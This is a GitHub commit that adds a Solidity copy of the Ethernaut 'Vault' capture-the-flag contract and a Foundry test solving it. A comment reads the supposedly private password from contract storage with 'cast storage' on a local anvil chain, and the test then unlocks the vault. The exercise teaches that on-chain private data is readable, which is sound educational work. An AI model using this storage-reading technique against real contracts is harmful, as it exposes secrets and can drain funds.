Skip to content

Commit

Permalink
08_Vault
Browse files Browse the repository at this point in the history
  • Loading branch information
0xHUANG authored and 0xHUANG committed Jan 17, 2025
1 parent 9c76163 commit d50db9d
Show file tree
Hide file tree
Showing 2 changed files with 61 additions and 0 deletions.
29 changes: 29 additions & 0 deletions src/08_Vault.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


/*
Author: @BoscoHuang
Process:
- Deploy Token contract in anvil:
0. anvil
1. forge create src/08_Vault.sol:Vault --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --constructor-args 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
*/


contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
32 changes: 32 additions & 0 deletions test/08_Vault.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Test.sol";
import "../src/08_Vault.sol";

/*
Author: @BoscoHuang
Command:
- get the password: cast storage 0x5FbDB2315678afecb367f032d93F642f64180aa3 1 --rpc-url http://127.0.0.1:8545
- forge test --match-contract VaultTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract VaultTest is DSTest {
Vault Ethernaut08;

function setUp() public {
Ethernaut08 = Vault(0x5FbDB2315678afecb367f032d93F642f64180aa3);
}

function testEthernaut08() public {
bytes32 password = 0x412076657279207374726f6e67207365637265742070617373776f7264203a29;

Ethernaut08.unlock(password);
assert(Ethernaut08.locked() == false);
console.log("Unlocked Vault");
}

}

0 comments on commit d50db9d

Please sign in to comment.